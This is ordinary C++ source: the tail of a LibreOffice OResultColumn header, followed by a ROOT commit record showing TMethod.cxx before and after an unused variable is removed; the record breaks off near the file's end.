::comphelper::OPropertyArrayUsageHelper < OResultColumn >\n {\n protected:\n ::com::sun::star::uno::Reference < ::com::sun::star::sdbc::XResultSetMetaData > m_xMetaData;\n ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XDatabaseMetaData > m_xDBMetaData;\n sal_Int32 m_nPos;\n ::com::sun::star::uno::Any m_aIsRowVersion;\n\n virtual ~OResultColumn();\n public:\n OResultColumn(\n const ::com::sun::star::uno::Reference < ::com::sun::star::sdbc::XResultSetMetaData >& _xMetaData,\n sal_Int32 _nPos,\n const ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XDatabaseMetaData >& _rxDBMeta );\n\n \/\/ com::sun::star::lang::XTypeProvider\n virtual ::com::sun::star::uno::Sequence< sal_Int8 > SAL_CALL getImplementationId() throw (::com::sun::star::uno::RuntimeException);\n\n \/\/ com::sun::star::lang::XServiceInfo\n virtual ::rtl::OUString SAL_CALL getImplementationName( ) throw(::com::sun::star::uno::RuntimeException);\n virtual ::com::sun::star::uno::Sequence< ::rtl::OUString > SAL_CALL getSupportedServiceNames( ) throw(::com::sun::star::uno::RuntimeException);\n\n \/\/ cppu::OComponentHelper\n virtual void SAL_CALL disposing(void);\n\n \/\/ comphelper::OPropertyArrayUsageHelper\n virtual ::cppu::IPropertyArrayHelper* createArrayHelper( ) const;\n\n \/\/ cppu::OPropertySetHelper\n virtual ::cppu::IPropertyArrayHelper& SAL_CALL getInfoHelper();\n virtual void SAL_CALL getFastPropertyValue(\n ::com::sun::star::uno::Any& rValue,\n sal_Int32 nHandle\n ) const;\n\n private:\n void impl_determineIsRowVersion_nothrow();\n\n protected:\n using ::cppu::OPropertySetHelper::getFastPropertyValue;\n };\n}\n#endif \/\/ _DBACORE_RESULTCOLUMN_HXX_\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ @(#)root\/meta:$Id$\n\/\/ Author: Rene Brun 09\/02\/95\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n\/** \\class TMethod\n Each ROOT class (see TClass) has a linked list of methods.\n This class describes one single method (member function).\n The method info is obtained via the CINT api. See class TCling.\n\n The method information is used a.o. by the THml class and by the\n TTree class.\n*\/\n\n#include \"strtok.h\"\n#include \"strlcpy.h\"\n#include \"snprintf.h\"\n#include \"TClass.h\"\n#include \"TList.h\"\n#include \"TMethod.h\"\n#include \"TMethodArg.h\"\n#include \"TMethodCall.h\"\n#include \"TInterpreter.h\"\n#include \"Strlen.h\"\n#include \"TDataMember.h\"\n\n\nClassImp(TMethod);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Default TMethod ctor. TMethods are constructed in TClass.\n\/\/\/ Comment strings are pre-parsed to find out whether the method is\n\/\/\/ a context-menu item.\n\nTMethod::TMethod(MethodInfo_t *info, TClass *cl) : TFunction(info)\n{\n fClass = cl;\n fGetterMethod = 0;\n fSetterMethod = 0;\n fMenuItem = kMenuNoMenu;\n\n if (fInfo) {\n SetMenuItem(gCling->MethodInfo_Title(fInfo));\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Copy ctor.\n\nTMethod::TMethod(const TMethod& orig) : TFunction(orig)\n{\n fClass = orig.fClass;\n fMenuItem = orig.fMenuItem;\n fGetter = orig.fGetter;\n fGetterMethod = 0;\n fSetterMethod = 0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Assignment operator.\n\nTMethod& TMethod::operator=(const TMethod& rhs)\n{\n if (this != &rhs) {\n TFunction::operator=(rhs);\n fClass = rhs.fClass;\n fMenuItem = rhs.fMenuItem;\n fGetter = rhs.fGetter;\n if (fGetterMethod)\n delete fGetterMethod;\n fGetterMethod = 0;\n if (fSetterMethod)\n delete fSetterMethod;\n fSetterMethod = 0;\n }\n return *this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Cleanup.\n\nTMethod::~TMethod()\n{\n delete fGetterMethod;\n delete fSetterMethod;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Clone method.\n\nTObject *TMethod::Clone(const char *newname) const\n{\n TNamed *newobj = new TMethod(*this);\n if (newname && strlen(newname)) newobj->SetName(newname);\n return newobj;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Returns a comment string from the class declaration.\n\nconst char *TMethod::GetCommentString()\n{\n return fInfo ? gCling->MethodInfo_Title(fInfo) : \"\";\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Using the CINT method arg information create a complete signature string.\n\nvoid TMethod::CreateSignature()\n{\n TFunction::CreateSignature();\n\n if (Property() & kIsConstMethod) fSignature += \" const\";\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Tries to guess DataMember from comment string\n\/\/\/ and Method's name <==(only if 1 Argument!).\n\/\/\/ If more then one argument=> returns pointer to the last argument.\n\/\/\/ It also sets MethodArgs' pointers to point to specified data members.\n\/\/\/\n\/\/\/ The form of comment string defining arguments is:\n\/\/\/ void XXX(Int_t x1, Float_t y2) \/\/*ARGS={x1=>fX1,y2=>fY2}\n\/\/\/ where fX1, fY2 are data fields in the same class.\n\/\/\/ (\"pointers\" to data members)\n\nTDataMember *TMethod::FindDataMember()\n{\n Char_t *argstring = (char*)strstr(GetCommentString(),\"*ARGS={\");\n\n \/\/ the following statement has been commented (Rene). Not needed\n \/\/ it was making troubles in BuildRealData for classes with protected\n \/\/ default constructors.\n \/\/ if (!(GetClass()->GetListOfRealData())) GetClass()->BuildRealData();\n\n if (argstring) {\n\n \/\/ if we found any argument-specifying hints - parse it\n\n if (!fMethodArgs) return 0;\n\n Int_t nchs = strlen(argstring); \/\/ workspace...\n char *argstr = new char[nchs+1]; \/\/ workspace...\n char *ptr1 = 0;\n char *tok = 0;\n char *ptr2 = 0;\n Int_t i;\n\n strlcpy(argstr,argstring,nchs+1); \/\/let's move it to \"workspace\" copy\n char *rest;\n ptr2 = R__STRTOK_R(argstr, \"{}\", &rest); \/\/ extract the data!\n if (ptr2 == 0) {\n Fatal(\"FindDataMember\",\"Internal error found '*ARGS=\\\"' but not \\\"{}\\\" in %s\",GetCommentString());\n delete [] argstr;\n return 0;\n }\n ptr2 = R__STRTOK_R((char *)0, \"{}\", &rest);\n\n \/\/extract argument tokens\/\/\n char *tokens[20];\n Int_t cnt = 0;\n Int_t token_cnt = 0;\n do {\n ptr1 = R__STRTOK_R((char *)(cnt++ ? 0 : ptr2), \",;\", &rest); \/\/ extract tokens\n \/\/ separated by , or ;\n if (ptr1) {\n Int_t nch = strlen(ptr1);\n tok = new char[nch+1];\n strlcpy(tok,ptr1,nch+1);\n tokens[token_cnt] = tok; \/\/store this token.\n token_cnt++;\n }\n } while (ptr1);\n\n \/\/now let's parse all argument tokens...\n TClass *cl = 0;\n TMethodArg *a = 0;\n TMethodArg *ar = 0;\n TDataMember *member = 0;\n\n for (i=0; i<token_cnt;i++) {\n cnt = 0;\n ptr1 = R__STRTOK_R(tokens[i], \"=>\", &rest); \/\/ LeftHandedSide=methodarg\n ptr2 = R__STRTOK_R((char *)0, \"=>\", &rest); \/\/ RightHandedSide-points to datamember\n\n \/\/find the MethodArg\n a = 0;\n ar = 0;\n member = 0;\n TIter nextarg(fMethodArgs); \/\/ iterate through all arguments.\n while ((ar = (TMethodArg*)nextarg())) {\n if (!strcmp(ptr1,ar->GetName())) {\n a = ar;\n break;\n }\n }\n\n \/\/now find the data member\n cl = GetClass()->GetBaseDataMember(ptr2);\n if (cl) {\n member = cl->GetDataMember(ptr2);\n if (a) a->fDataMember = member; \/\/SET THE APROPRIATE FIELD !!!\n \/\/We can do it - friend decl. in MethodArg\n }\n delete [] tokens[i];\n }\n delete [] argstr;\n return member; \/\/ nothing else to do! We return a pointer to the last\n \/\/ found data member\n\n \/\/ if not found in comment string - try to guess it from name!\n } else {\n if (fMethodArgs)\n if (fMethodArgs->GetSize() != 1) return 0;\n\n TMethodArg *a = 0;\n if (fMethodArgs) a = (TMethodArg*)(fMethodArgs->First());\n\n char dataname[67] = \"\";\n char basename[64] = \"\";\n const char *funcname = GetName();\n if ( strncmp(funcname,\"Get\",3) == 0 || strncmp(funcname,\"Set\",3) == 0 )\n snprintf(basename,64,\"%s\",funcname+3);\n else if ( strncmp(funcname,\"Is\",2) == 0 )\n snprintf(basename,64,\"%s\",funcname+2);\n else if (strncmp(funcname, \"Has\", 3) == 0)\n snprintf(basename,64,\"%s\", funcname+3);\n else\n return 0;\n\n snprintf(dataname,67,\"f%s\",basename);\n\n TClass *cl = GetClass()->GetBaseDataMember(dataname);\n if (cl) {\n TDataMember *member = cl->GetDataMember(dataname);\n if (a) a->fDataMember = member;\n return member;\n } else {\n snprintf(dataname,67,\"fIs%s\",basename); \/\/in case of IsEditable()\n \/\/and fIsEditable\n cl = GetClass()->GetBaseDataMember(dataname);\n if (cl) {\n TDataMember *member = cl->GetDataMember(dataname);\n if (a) a->fDataMember = member;\n return member;\n }\n }\n }\n\n \/\/if nothing found - return null -pointer:\n return 0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Return call environment for the getter method in case this is a\n\/\/\/ *TOGGLE method (for the context menu).\n\nTMethodCall *TMethod::GetterMethod()\n{\n if (!fGetterMethod && fMenuItem == kMenuToggle && fGetter != \"\" && fClass) {\n fGetterMethod = new TMethodCall(fClass, Getter(), \"\");\n }\n return fGetterMethod;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Return true if this function object is pointing to a currently\n\/\/\/ loaded function. If a function is unloaded after the TMethod\n\/\/\/ is created, the TMethod will be set to be invalid.\n\nBool_t TMethod::IsValid()\n{\n \/\/ Register the transaction when checking the validity of the object.\n if (!fInfo && UpdateInterpreterStateMarker()) {\n DeclId_t newId = gInterpreter->GetFunction(fClass->GetClassInfo(), fName);\n if (newId) {\n MethodInfo_t *info = gInterpreter->MethodInfo_Factory(newId);\n Update(info);\n }\n return newId != 0;\n }\n return fInfo != 0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Return call environment for this method in case this is a\n\/\/\/ *TOGGLE method which takes a single boolean or integer argument.\n\nTMethodCall *TMethod::SetterMethod()\n{\n if (!fSetterMethod && fMenuItem == kMenuToggle && fClass) {\n fSetterMethod = new TMethodCall(fClass, GetName(), \"1\");\n }\n return fSetterMethod;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Returns methodarg list and additionally updates fDataMember in TMethod by\n\/\/\/ calling FindDataMember();\n\nTList *TMethod::GetListOfMethodArgs()\n{\n if (!fMethodArgs){\n TFunction::GetListOfMethodArgs();\n FindDataMember();\n }\n return fMethodArgs;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Set the menu item as prescribed in the doctstring.\n\nvoid TMethod::SetMenuItem(const char *docstring)\n{\n if (docstring && strstr(docstring, \"*TOGGLE\")) {\n fMenuItem = kMenuToggle;\n const char *s;\n if ((s = strstr(docstring, \"*GETTER=\"))) {\n fGetter = s+8;\n fGetter = fGetter.Strip(TString::kBoth);\n }\n } else\n if (docstring && strstr(docstring, \"*MENU\"))\n fMenuItem = kMenuDialog;\n else\n if (docstring && strstr(docstring, \"*SUBMENU\"))\n fMenuItem = kMenuSubMenu;\n else\n fMenuItem = kMenuNoMenu;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Update the TMethod to reflect the new info.\n\/\/\/\n\/\/\/ This can be used to implement unloading (info == 0) and then reloading\n\/\/\/ (info being the 'new' decl address).\n\nBool_t TMethod::Update(MethodInfo_t *info)\n{\n if (TFunction::Update(info)) {\n delete fGetterMethod; fGetterMethod = 0;\n delete fSetterMethod; fSetterMethod = 0;\n if (fInfo) {\n SetMenuItem(gCling->MethodInfo_Title(fInfo));\n }\n return kTRUE;\n } else {\n return kFALSE;\n }\n}\n<commit_msg>Remove unused variable from TMethod.cxx<commit_after>\/\/ @(#)root\/meta:$Id$\n\/\/ Author: Rene Brun 09\/02\/95\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n\/** \\class TMethod\n Each ROOT class (see TClass) has a linked list of methods.\n This class describes one single method (member function).\n The method info is obtained via the CINT api. See class TCling.\n\n The method information is used a.o. by the THml class and by the\n TTree class.\n*\/\n\n#include \"strtok.h\"\n#include \"strlcpy.h\"\n#include \"snprintf.h\"\n#include \"TClass.h\"\n#include \"TList.h\"\n#include \"TMethod.h\"\n#include \"TMethodArg.h\"\n#include \"TMethodCall.h\"\n#include \"TInterpreter.h\"\n#include \"Strlen.h\"\n#include \"TDataMember.h\"\n\n\nClassImp(TMethod);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Default TMethod ctor. TMethods are constructed in TClass.\n\/\/\/ Comment strings are pre-parsed to find out whether the method is\n\/\/\/ a context-menu item.\n\nTMethod::TMethod(MethodInfo_t *info, TClass *cl) : TFunction(info)\n{\n fClass = cl;\n fGetterMethod = 0;\n fSetterMethod = 0;\n fMenuItem = kMenuNoMenu;\n\n if (fInfo) {\n SetMenuItem(gCling->MethodInfo_Title(fInfo));\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Copy ctor.\n\nTMethod::TMethod(const TMethod& orig) : TFunction(orig)\n{\n fClass = orig.fClass;\n fMenuItem = orig.fMenuItem;\n fGetter = orig.fGetter;\n fGetterMethod = 0;\n fSetterMethod = 0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Assignment operator.\n\nTMethod& TMethod::operator=(const TMethod& rhs)\n{\n if (this != &rhs) {\n TFunction::operator=(rhs);\n fClass = rhs.fClass;\n fMenuItem = rhs.fMenuItem;\n fGetter = rhs.fGetter;\n if (fGetterMethod)\n delete fGetterMethod;\n fGetterMethod = 0;\n if (fSetterMethod)\n delete fSetterMethod;\n fSetterMethod = 0;\n }\n return *this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Cleanup.\n\nTMethod::~TMethod()\n{\n delete fGetterMethod;\n delete fSetterMethod;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Clone method.\n\nTObject *TMethod::Clone(const char *newname) const\n{\n TNamed *newobj = new TMethod(*this);\n if (newname && strlen(newname)) newobj->SetName(newname);\n return newobj;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Returns a comment string from the class declaration.\n\nconst char *TMethod::GetCommentString()\n{\n return fInfo ? gCling->MethodInfo_Title(fInfo) : \"\";\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Using the CINT method arg information create a complete signature string.\n\nvoid TMethod::CreateSignature()\n{\n TFunction::CreateSignature();\n\n if (Property() & kIsConstMethod) fSignature += \" const\";\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Tries to guess DataMember from comment string\n\/\/\/ and Method's name <==(only if 1 Argument!).\n\/\/\/ If more then one argument=> returns pointer to the last argument.\n\/\/\/ It also sets MethodArgs' pointers to point to specified data members.\n\/\/\/\n\/\/\/ The form of comment string defining arguments is:\n\/\/\/ void XXX(Int_t x1, Float_t y2) \/\/*ARGS={x1=>fX1,y2=>fY2}\n\/\/\/ where fX1, fY2 are data fields in the same class.\n\/\/\/ (\"pointers\" to data members)\n\nTDataMember *TMethod::FindDataMember()\n{\n Char_t *argstring = (char*)strstr(GetCommentString(),\"*ARGS={\");\n\n \/\/ the following statement has been commented (Rene). Not needed\n \/\/ it was making troubles in BuildRealData for classes with protected\n \/\/ default constructors.\n \/\/ if (!(GetClass()->GetListOfRealData())) GetClass()->BuildRealData();\n\n if (argstring) {\n\n \/\/ if we found any argument-specifying hints - parse it\n\n if (!fMethodArgs) return 0;\n\n Int_t nchs = strlen(argstring); \/\/ workspace...\n char *argstr = new char[nchs+1]; \/\/ workspace...\n char *ptr1 = 0;\n char *tok = 0;\n char *ptr2 = 0;\n Int_t i;\n\n strlcpy(argstr,argstring,nchs+1); \/\/let's move it to \"workspace\" copy\n char *rest;\n ptr2 = R__STRTOK_R(argstr, \"{}\", &rest); \/\/ extract the data!\n if (ptr2 == 0) {\n Fatal(\"FindDataMember\",\"Internal error found '*ARGS=\\\"' but not \\\"{}\\\" in %s\",GetCommentString());\n delete [] argstr;\n return 0;\n }\n ptr2 = R__STRTOK_R((char *)0, \"{}\", &rest);\n\n \/\/extract argument tokens\/\/\n char *tokens[20];\n Int_t cnt = 0;\n Int_t token_cnt = 0;\n do {\n ptr1 = R__STRTOK_R((char *)(cnt++ ? 0 : ptr2), \",;\", &rest); \/\/ extract tokens\n \/\/ separated by , or ;\n if (ptr1) {\n Int_t nch = strlen(ptr1);\n tok = new char[nch+1];\n strlcpy(tok,ptr1,nch+1);\n tokens[token_cnt] = tok; \/\/store this token.\n token_cnt++;\n }\n } while (ptr1);\n\n \/\/now let's parse all argument tokens...\n TClass *cl = nullptr;\n TMethodArg *a = nullptr;\n TMethodArg *ar = nullptr;\n TDataMember *member = nullptr;\n\n for (i=0; i<token_cnt;i++) {\n ptr1 = R__STRTOK_R(tokens[i], \"=>\", &rest); \/\/ LeftHandedSide=methodarg\n ptr2 = R__STRTOK_R((char *) nullptr, \"=>\", &rest); \/\/ RightHandedSide-points to datamember\n\n \/\/find the MethodArg\n a = 0;\n ar = 0;\n member = 0;\n TIter nextarg(fMethodArgs); \/\/ iterate through all arguments.\n while ((ar = (TMethodArg*)nextarg())) {\n if (!strcmp(ptr1,ar->GetName())) {\n a = ar;\n break;\n }\n }\n\n \/\/now find the data member\n cl = GetClass()->GetBaseDataMember(ptr2);\n if (cl) {\n member = cl->GetDataMember(ptr2);\n if (a) a->fDataMember = member; \/\/SET THE APROPRIATE FIELD !!!\n \/\/We can do it - friend decl. in MethodArg\n }\n delete [] tokens[i];\n }\n delete [] argstr;\n return member; \/\/ nothing else to do! We return a pointer to the last\n \/\/ found data member\n\n \/\/ if not found in comment string - try to guess it from name!\n } else {\n if (fMethodArgs)\n if (fMethodArgs->GetSize() != 1) return 0;\n\n TMethodArg *a = 0;\n if (fMethodArgs) a = (TMethodArg*)(fMethodArgs->First());\n\n char dataname[67] = \"\";\n char basename[64] = \"\";\n const char *funcname = GetName();\n if ( strncmp(funcname,\"Get\",3) == 0 || strncmp(funcname,\"Set\",3) == 0 )\n snprintf(basename,64,\"%s\",funcname+3);\n else if ( strncmp(funcname,\"Is\",2) == 0 )\n snprintf(basename,64,\"%s\",funcname+2);\n else if (strncmp(funcname, \"Has\", 3) == 0)\n snprintf(basename,64,\"%s\", funcname+3);\n else\n return 0;\n\n snprintf(dataname,67,\"f%s\",basename);\n\n TClass *cl = GetClass()->GetBaseDataMember(dataname);\n if (cl) {\n TDataMember *member = cl->GetDataMember(dataname);\n if (a) a->fDataMember = member;\n return member;\n } else {\n snprintf(dataname,67,\"fIs%s\",basename); \/\/in case of IsEditable()\n \/\/and fIsEditable\n cl = GetClass()->GetBaseDataMember(dataname);\n if (cl) {\n TDataMember *member = cl->GetDataMember(dataname);\n if (a) a->fDataMember = member;\n return member;\n }\n }\n }\n\n \/\/if nothing found - return null -pointer:\n return 0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Return call environment for the getter method in case this is a\n\/\/\/ *TOGGLE method (for the context menu).\n\nTMethodCall *TMethod::GetterMethod()\n{\n if (!fGetterMethod && fMenuItem == kMenuToggle && fGetter != \"\" && fClass) {\n fGetterMethod = new TMethodCall(fClass, Getter(), \"\");\n }\n return fGetterMethod;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Return true if this function object is pointing to a currently\n\/\/\/ loaded function. If a function is unloaded after the TMethod\n\/\/\/ is created, the TMethod will be set to be invalid.\n\nBool_t TMethod::IsValid()\n{\n \/\/ Register the transaction when checking the validity of the object.\n if (!fInfo && UpdateInterpreterStateMarker()) {\n DeclId_t newId = gInterpreter->GetFunction(fClass->GetClassInfo(), fName);\n if (newId) {\n MethodInfo_t *info = gInterpreter->MethodInfo_Factory(newId);\n Update(info);\n }\n return newId != 0;\n }\n return fInfo != 0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Return call environment for this method in case this is a\n\/\/\/ *TOGGLE method which takes a single boolean or integer argument.\n\nTMethodCall *TMethod::SetterMethod()\n{\n if (!fSetterMethod && fMenuItem == kMenuToggle && fClass) {\n fSetterMethod = new TMethodCall(fClass, GetName(), \"1\");\n }\n return fSetterMethod;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Returns methodarg list and additionally updates fDataMember in TMethod by\n\/\/\/ calling FindDataMember();\n\nTList *TMethod::GetListOfMethodArgs()\n{\n if (!fMethodArgs){\n TFunction::GetListOfMethodArgs();\n FindDataMember();\n }\n return fMethodArgs;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Set the menu item as prescribed in the doctstring.\n\nvoid TMethod::SetMenuItem(const char *docstring)\n{\n if (docstring && strstr(docstring, \"*TOGGLE\")) {\n fMenuItem = kMenuToggle;\n const char *s;\n if ((s = strstr(docstring, \"*GETTER=\"))) {\n fGetter = s+8;\n fGetter = fGetter.Strip(TString::kBoth);\n }\n } else\n if (docstring && strstr(docstring, \"*MENU\"))\n fMenuItem = kMenuDialog;\n else\n if (docstring && strstr(docstring, \"*SUBMENU\"))\n fMenuItem = kMenuSubMenu;\n else\n fMenuItem = kMenuNoMenu;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Update the TMethod to reflect the new info.\n\/\/\/\n\/\/\/ This can be used to implement unloading (info == 0) and then reloading\n\/\/\/ (info being the 'new' decl address).\n\nBool_t 